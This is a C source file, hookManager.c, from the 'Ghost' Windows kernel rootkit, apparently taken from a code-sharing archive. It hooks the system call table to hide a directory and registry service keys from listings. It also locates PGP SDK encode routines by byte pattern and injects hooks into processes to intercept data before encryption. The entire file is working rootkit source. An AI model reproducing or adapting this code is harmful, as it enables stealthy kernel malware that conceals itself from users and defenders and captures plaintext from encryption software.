www.pudn.com > ROOTKIT_Ghost.rar > hookManager.c
// hookManager
// Copyright Ric Vieler, 2006
// Hook the System Call Table
#include "ntddk.h"
#include "Ghost.h"
#include "hookManager.h"
#include "peFormat.h"
#include "injectManager.h"
#include "registryManager.h"
WCHAR g_hiddenDirectoryName[] = L"RootkitDirectory";
#define HIDDEN_DIR_NAME_LENGTH 32
// Add kernel hook(s)
NTSTATUS HookKernel( )
{
DWORD functionAddress;
DWORD position;
pMyMDL = MmCreateMdl( NULL,
KeServiceDescriptorTable.ServiceTableBase,
KeServiceDescriptorTable.NumberOfServices * 4 );
if( !pMyMDL )
return( STATUS_UNSUCCESSFUL );
MmBuildMdlForNonPagedPool( pMyMDL );
pMyMDL->MdlFlags = pMyMDL->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
NewSystemCallTable = MmMapLockedPages( pMyMDL, KernelMode );
if( !NewSystemCallTable )
return( STATUS_UNSUCCESSFUL );
// Need ZwProtectVirtualMemory to write into user memory.
// But it's not defined in ntddk.h so look for pattern
// searching backward from ZwPulseEvent
OldZwProtectVirtualMemory = findUnresolved(ZwPulseEvent);
if( OldZwProtectVirtualMemory == 0 )
return( STATUS_UNSUCCESSFUL );
// Add hooks here (remember to unhook if using DriverUnload)
HOOK( ZwMapViewOfSection, NewZwMapViewOfSection, OldZwMapViewOfSection );
InitializeKeyTracking();
HOOK( ZwOpenKey, NewZwOpenKey, OldZwOpenKey );
HOOK( ZwQueryKey, NewZwQueryKey, OldZwQueryKey );
HOOK( ZwEnumerateKey, NewZwEnumerateKey, OldZwEnumerateKey );
HOOK( ZwQueryDirectoryFile, NewZwQueryDirectoryFile, OldZwQueryDirectoryFile );
return( STATUS_SUCCESS );
}
// Process Inject Dynamic Link Libraries
NTSTATUS NewZwMapViewOfSection(
IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN ULONG CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PSIZE_T ViewSize,
IN SECTION_INHERIT InheritDisposition,
IN ULONG AllocationType,
IN ULONG Protect )
{
NTSTATUS status;
// First complete the standard mapping process
status = OldZwMapViewOfSection( SectionHandle,
ProcessHandle,
BaseAddress,
ZeroBits,
CommitSize,
SectionOffset OPTIONAL,
ViewSize,
InheritDisposition,
AllocationType,
Protect );
// Now remap as required ( imageOffset only known for versions 4 & 5 )
if( NT_SUCCESS( status ) && ( majorVersion == 4 || majorVersion == 5 ) )
{
unsigned int imageOffset = 0;
VOID* pSection = NULL;
unsigned int imageSection = FALSE;
HANDLE hRoot = NULL;
PUNICODE_STRING objectName = NULL;
PVOID pImageBase = NULL;
UNICODE_STRING library1 = { 0 };
UNICODE_STRING library2 = { 0 };
CALL_DATA_STRUCT callData[TOTAL_HOOKS] = { 0 };
int hooks2inject = 0;
// Image location higher in version 4
if( majorVersion == 4 )
imageOffset = 24;
if( ObReferenceObjectByHandle( SectionHandle,
SECTION_MAP_EXECUTE,
*MmSectionObjectType,
KernelMode,
&pSection,
NULL ) == STATUS_SUCCESS )
{
// Check to see if this is an image section
// If it is, get the root handle and the object name
_asm
{
mov edx, pSection
mov eax, [edx+14h]
add eax, imageOffset
mov edx, [eax]
test byte ptr [edx+20h], 20h
jz not_image_section
mov imageSection, TRUE
mov eax, [edx+24h]
mov edx, [eax+4]
mov hRoot, edx
add eax, 30h
mov objectName, eax
not_image_section:
}
if( BaseAddress )
pImageBase = *BaseAddress;
// Mapping a DLL
if( imageSection && pImageBase && objectName && objectName->Length > 0 )
{
// define libraries of interest
RtlInitUnicodeString( &library1, L"kernel32.dll" );
RtlInitUnicodeString( &library2, L"PGPsdk.dll" );
if ( IsSameFile( &library1, objectName ) ) // kernel32
{
kernel32Base = pImageBase;
}
else if ( IsSameFile( &library2, objectName ) ) // PGPsdk
{
// Pattern for PGP 9.0 Encode
BYTE pattern1[] = { 0x55, 0x8B, 0xEC, 0x83, 0xE4, 0xF8, 0x81, 0xEC, \
0xFC, 0x00, 0x00, 0x00, 0x53, 0x33, 0xC0, 0x56, \
0x57, 0xB9, 0x26, 0x00, 0x00, 0x00, 0x8D, 0x7C, \
0x24, 0x18, 0xF3, 0xAB };
PVOID pfEncode = GetFunctionAddress( pImageBase, NULL, pattern1, sizeof(pattern1) );
if( !pfEncode )
{
// Pattern for PGP 9.5 Encode
BYTE pattern2[] = { 0x81, 0xEC, 0xFC, 0x00, 0x00, 0x00, 0x53, 0x55, \
0x33, 0xDB, 0x68, 0x98, 0x00, 0x00, 0x00, 0x8D, \
0x44, 0x24, 0x14, 0x53, 0x50, 0x89, 0x9C, 0x24, \
0xB4, 0x00, 0x00, 0x00 };
pfEncode = GetFunctionAddress( pImageBase, NULL, pattern2, sizeof(pattern2) );
}
if( pfEncode )
{
hooks2inject = 1;
callData[0].index = USERHOOK_beforeEncode;
callData[0].hookFunction = pfEncode;
callData[0].parameters = 2;
callData[0].callType = CDECL_TYPE;
callData[0].stackOffset = 0;
DbgPrint("comint32: NewZwMapViewOfSection pfEncode = %x",pfEncode);
}
else
{
DbgPrint("comint32: PGP Encode not found.");
}
}
if( hooks2inject > 0 )
{
PCHAR injectedMemory;
// prepare memory
injectedMemory = allocateUserMemory();
// inject
if( !processInject( (CALL_DATA_STRUCT*)&callData, hooks2inject, injectedMemory ) )
{
DbgPrint("comint32: processInject failed!\n" );
}
}
}
ObDereferenceObject( pSection );
}
}
return status;
}
// used by GetKeyName
// Get a pointer to an object from its handle
PVOID GetPointerByHandle( HANDLE handle )
{
PVOID pKey;
NTSTATUS status;
status = ObReferenceObjectByHandle( handle, 0, NULL, KernelMode, &pKey, NULL );
if( !NT_SUCCESS( status ) )
return NULL;
if( pKey )
ObDereferenceObject( pKey );
return pKey;
}
// used by NewZwOpenKey
// Get a registry key's name from its handle
void GetKeyName( HANDLE hKey, PUNICODE_STRING* ppKeyName )
{
PVOID pKey = NULL;
PUNICODE_STRING unicodeString;
PCHAR pBuffer;
ULONG length;
NTSTATUS status;
*ppKeyName = NULL;
pKey = GetPointerByHandle( hKey );
if( pKey )
{
pBuffer = (PCHAR)ExAllocatePool( NonPagedPool,
MAXKEYNAMELENGTH * 2 + sizeof(UNICODE_STRING) );
if( pBuffer )
{
memset( pBuffer, 0, MAXKEYNAMELENGTH * 2 + sizeof(UNICODE_STRING) );
unicodeString = (PUNICODE_STRING)pBuffer;
RtlInitEmptyUnicodeString( unicodeString,
(PWCHAR)((DWORD)unicodeString + sizeof(UNICODE_STRING)),
MAXKEYNAMELENGTH * 2 );
status = ObQueryNameString( pKey, (POBJECT_NAME_INFORMATION)unicodeString, MAXKEYNAMELENGTH, &length );
if( status == STATUS_SUCCESS )
*ppKeyName = unicodeString;
return;
}
}
return;
}
// create an index that skips hidden subkeys
// when the parent key is \\Services
NTSTATUS NewZwOpenKey( OUT PHANDLE KeyHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes )
{
int status;
status = OldZwOpenKey(
KeyHandle,
DesiredAccess,
ObjectAttributes );
if( status == STATUS_SUCCESS )
{
// get the name of the key
PUNICODE_STRING pKeyName = NULL;
UNICODE_STRING servicesString = { 0 };
RtlInitUnicodeString( &servicesString, L"Services" );
GetKeyName( *KeyHandle, &pKeyName );
// create special index for the Services key
if( pKeyName )
{
// Using IsSameFile as IsSameKey function
if( IsSameFile( &servicesString, pKeyName ) )
{
DbgPrint("comint32: found g_servicesKey");
CreateHiddenKeyIndices( *KeyHandle );
}
ExFreePool( pKeyName );
}
}
return status;
}
// return number of subkeys from special index
// when the parent key is \\Services
NTSTATUS NewZwQueryKey( IN HANDLE KeyHandle,
IN KEY_INFORMATION_CLASS KeyInformationClass,
OUT PVOID KeyInformation,
IN ULONG Length,
OUT PULONG ResultLength )
{
int status;
ULONG numberOfSubkeys = -1;
status = OldZwQueryKey(
KeyHandle,
KeyInformationClass,
KeyInformation,
Length,
ResultLength );
numberOfSubkeys = GetSubkeyCount( KeyHandle );
if( (status == STATUS_SUCCESS) && (numberOfSubkeys != -1) )
if( KeyFullInformation == KeyInformationClass )
if( KeyInformation )
((KEY_FULL_INFORMATION*)KeyInformation)->SubKeys = numberOfSubkeys;
return status;
}
// return special index values
// when the parent key is \\Services
NTSTATUS NewZwEnumerateKey( IN HANDLE KeyHandle,
IN ULONG Index,
IN KEY_INFORMATION_CLASS KeyInformationClass,
OUT PVOID KeyInformation,
IN ULONG Length,
OUT PULONG ResultLength )
{
int status;
int new_index;
new_index = GetNewIndex( KeyHandle, Index );
if( new_index != -1 )
Index = new_index;
status = OldZwEnumerateKey(
KeyHandle,
Index,
KeyInformationClass,
KeyInformation,
Length,
ResultLength );
return status;
}
NTSTATUS NewZwQueryDirectoryFile(
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery
)
{
NTSTATUS status;
status = OldZwQueryDirectoryFile(
hFile,
hEvent,
IoApcRoutine,
IoApcContext,
pIoStatusBlock,
FileInformationBuffer,
FileInformationBufferLength,
FileInfoClass,
bReturnOnlyOneEntry,
PathMask,
bRestartQuery);
if( NT_SUCCESS( status ) && (FileInfoClass == 3) )
{
BOOL isLastDirectory;
DirEntry* pLastDirectory = NULL;
DirEntry* pThisDirectory = (DirEntry*)FileInformationBuffer;
// for each directory entry in the list
do
{
isLastDirectory = !( pThisDirectory->dwLenToNext );
// compare with g_hiddenDirectoryName
if( RtlCompareMemory( (PVOID)&pThisDirectory->suName[ 0 ],
(PVOID)&g_hiddenDirectoryName[ 0 ],
HIDDEN_DIR_NAME_LENGTH ) == HIDDEN_DIR_NAME_LENGTH )
{
if( isLastDirectory )
{
// return STATUS_NO_MORE_FILES if the hidden
// directory is the only directory in the list
// else set the previous directory to end-of-list
// if hidden directory is at the end of the list
if( pThisDirectory == (DirEntry*)FileInformationBuffer )
status = 0x80000006;
else
pLastDirectory->dwLenToNext = 0;
break;
}
else
{
// copy remainder of directory list into this location
// to eliminate this directory entry from the list
int offset = ((ULONG)pThisDirectory) - (ULONG)FileInformationBuffer;
int size = (DWORD)FileInformationBufferLength - offset - pThisDirectory->dwLenToNext;
RtlCopyMemory( (PVOID)pThisDirectory,
(PVOID)((char*)pThisDirectory + pThisDirectory->dwLenToNext ),
(DWORD)size );
continue;
}
}
pLastDirectory = pThisDirectory;
pThisDirectory = (DirEntry*)((char *)pThisDirectory + pThisDirectory->dwLenToNext );
} while( !isLastDirectory );
}
return( status );
}
// Used to compare a full path to a file name
BOOL IsSameFile(PUNICODE_STRING shortString, PUNICODE_STRING longString)
{
USHORT index;
USHORT longLen;
USHORT shortLen;
USHORT count;
index = longString->Length / 2; // wchar_t len is length / 2
// search backwards for backslash
while( --index )
if ( longString->Buffer[index] == L'\\' )
break;
// check for same length first
longLen = (longString->Length / 2) - index - 1;
shortLen = shortString->Length / 2;
if( shortLen != longLen )
return FALSE;
// Compare
count = 0;
while ( count < longLen )
if ( longString->Buffer[++index] != shortString->Buffer[count++] )
return FALSE;
// Match!
return TRUE;
}
// Compare to char strings
BOOL IsSameString( char* first, char* second )
{
while( *first && *second )
{
if( tolower( *first ) != tolower( *second ) )
return FALSE;
first++;
second++;
}
if( *first || *second )
return FALSE;
// strings match!
return TRUE;
}
// Map user address space into the kernel
PVOID MapKernelAddress( PVOID pAddress, PMDL* ppMDL, ULONG size )
{
PVOID pMappedAddr = NULL;
*ppMDL = IoAllocateMdl( pAddress, size, FALSE, FALSE, NULL );
if( *ppMDL == NULL )
return NULL;
__try
{
MmProbeAndLockPages( *ppMDL, KernelMode ,IoReadAccess );
}
__except( EXCEPTION_EXECUTE_HANDLER )
{
IoFreeMdl( *ppMDL );
*ppMDL = NULL;
return NULL;
}
pMappedAddr = MmGetSystemAddressForMdlSafe( *ppMDL, HighPagePriority );
if( !pMappedAddr )
{
MmUnlockPages( *ppMDL );
IoFreeMdl( *ppMDL );
*ppMDL = NULL;
return NULL;
}
return pMappedAddr;
}
// Free kernel space after mapping in user memory
VOID FreeKernelAddress( PVOID* ppMappedAddr, PMDL* ppMDL )
{
if( *ppMappedAddr && *ppMDL )
MmUnmapLockedPages( *ppMappedAddr, *ppMDL );
*ppMappedAddr = NULL;
if( *ppMDL )
{
MmUnlockPages( *ppMDL );
IoFreeMdl( *ppMDL );
}
*ppMDL = NULL;
}
// get DOS Header -> NT Header -> Optinal Header -> SizeOfImage
ULONG GetImageSize( PVOID baseAddress )
{
PIMAGE_DOS_HEADER pDOSHeader;
PIMAGE_NT_HEADER pNTHeader;
ULONG imageSize = 0;
PVOID pTempNTHeader;
PVOID mappedBase;
PMDL pMDL;
mappedBase = MapKernelAddress( baseAddress, &pMDL, sizeof(PIMAGE_DOS_HEADER) );
if( mappedBase )
{
pDOSHeader = (PIMAGE_DOS_HEADER)mappedBase;
pTempNTHeader = (PVOID)(pDOSHeader->e_lfanew);
FreeKernelAddress( &mappedBase, &pMDL );
mappedBase = MapKernelAddress( (PVOID)((ULONG)baseAddress + (ULONG)pTempNTHeader), &pMDL, sizeof(PIMAGE_NT_HEADER) );
if( mappedBase )
{
pNTHeader = (PIMAGE_NT_HEADER)mappedBase;
imageSize = pNTHeader->OptionalHeader.SizeOfImage;
FreeKernelAddress( &mappedBase, &pMDL );
}
}
return imageSize;
}
// find an undocumented ntdll function
PVOID findUnresolved( PVOID pFunc )
{
UCHAR pattern[5] = { 0 };
PUCHAR bytePtr = NULL;
PULONG oldStart = 0;
ULONG newStart = 0;
memcpy( pattern, pFunc, 5 );
// subtract offset
oldStart = (PULONG)&(pattern[1]);
newStart = *oldStart - 1;
*oldStart = newStart;
// Search for pattern
for( bytePtr = (PUCHAR)pFunc - 5; bytePtr >= (PUCHAR)pFunc - 0x800; bytePtr-- )
if( checkPattern( bytePtr, pattern, 5 ) == 0 )
return (PVOID)bytePtr;
// pattern not found
return NULL;
}
// Get the address of a function from a DLL
// Pass in the base address of the DLL
// Pass function name OR pattern and pettern length
PVOID GetFunctionAddress( PVOID BaseAddress,
char* functionName,
PBYTE pattern,
size_t patternLength )
{
ULONG imageSize;
ULONG virtualAddress;
PVOID returnAddress;
PULONG functionAddressArray;
PWORD ordinalArray;
PULONG functionNameArray;
ULONG loop;
ULONG ordinal;
PVOID mappedBase;
PMDL pMDL;
BYTE* bytePtr;
BYTE* maxBytePtr;
PIMAGE_DOS_HEADER pDOSHeader;
PIMAGE_NT_HEADER pNTHeader;
PIMAGE_EXPORT_DIRECTORY exportDirectory;
imageSize = GetImageSize( BaseAddress );
mappedBase = MapKernelAddress( BaseAddress, &pMDL, imageSize );
if ( functionName == NULL )
{
// Search for function pattern
returnAddress = 0;
maxBytePtr = (PBYTE)((DWORD)mappedBase + (DWORD)imageSize - (DWORD)patternLength);
for( bytePtr = (PBYTE)mappedBase; bytePtr < maxBytePtr; bytePtr++ )
{
if( checkPattern( bytePtr, pattern, patternLength ) == 0 )
{
returnAddress = (PVOID)((DWORD)BaseAddress + (DWORD)bytePtr - (DWORD)mappedBase);
break;
}
}
if( mappedBase )
FreeKernelAddress( &mappedBase, &pMDL );
return returnAddress;
}
// Search for function name
pDOSHeader = (PIMAGE_DOS_HEADER)mappedBase;
pNTHeader = (PIMAGE_NT_HEADER)((PCHAR)mappedBase + pDOSHeader->e_lfanew);
imageSize = pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
virtualAddress = pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PCHAR)mappedBase + virtualAddress);
functionAddressArray = (PULONG)((PCHAR)mappedBase + exportDirectory->AddressOfFunctions);
ordinalArray = (PWORD)((PCHAR)mappedBase + exportDirectory->AddressOfNameOrdinals);
functionNameArray = (PULONG)((PCHAR)mappedBase + exportDirectory->AddressOfNames);
ordinal = (ULONG)functionName;
if (!ordinal)
{
if( mappedBase )
FreeKernelAddress( &mappedBase, &pMDL );
return 0;
}
if( ordinal <= exportDirectory->NumberOfFunctions )
{
if( mappedBase )
FreeKernelAddress( &mappedBase, &pMDL );
return (PVOID)((PCHAR)BaseAddress + functionAddressArray[ordinal - 1]);
}
for( loop = 0; loop < exportDirectory->NumberOfNames; loop++ )
{
ordinal = ordinalArray[loop];
if( functionAddressArray[ordinal] < virtualAddress || functionAddressArray[ordinal] >= virtualAddress + imageSize )
{
if( IsSameString( (PSTR)((PCHAR)mappedBase + functionNameArray[loop]), functionName ) )
{
returnAddress = (PVOID)functionAddressArray[ordinal];
if( mappedBase )
FreeKernelAddress( &mappedBase, &pMDL );
return (PVOID)((DWORD)BaseAddress + (DWORD)returnAddress);
}
}
}
DbgPrint("comint32: EXPORT NOT FOUND, function = %s", functionName);
if( mappedBase )
FreeKernelAddress( &mappedBase, &pMDL );
return 0;
}
// This should be fast!
int checkPattern( unsigned char* pattern1, unsigned char* pattern2, size_t size )
{
register unsigned char* p1 = pattern1;
register unsigned char* p2 = pattern2;
while( size-- > 0 )
{
if( *p1++ != *p2++ )
return 1;
}
return 0;
}